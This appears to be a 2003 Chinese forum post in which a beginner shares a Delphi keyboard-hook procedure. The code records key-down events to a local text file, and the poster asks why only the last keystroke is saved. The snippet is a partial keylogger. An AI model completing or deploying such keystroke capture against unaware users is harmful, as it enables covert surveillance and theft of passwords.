请大家帮忙解决!菜鸟有提问了!
皮皮爸 2003-07-09 11:30:31 function hookproc(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;
var s:string;
hookfile:textfile;
begin
if (peventmsg(lparam)^.message=wm_keydown) then
begin
s:=format('down:%5d %5d',[peventmsg(lparam)^.paraml,peventmsg(lparam)^.paramh])+
form1.keyhookresult(peventmsg(lparam)^.paraml,peventmsg(lparam)^.paramh);
//form1.ListBox1.Items.add(s);
if length(s)>0 then
begin
assignfile(hookfile,'G:\hook.txt');
rewrite(hookfile);
write(hookfile,s);
closefile(hookfile);
end;
end;
这是一个键盘记录,但是我在记事本里面得到的只有最后一个按键的信息!
如果我用用form1.ListBox1.Items.add(s);就可以得到没一个一个按键的信息!
着是为什么呢!请大家帮忙解决!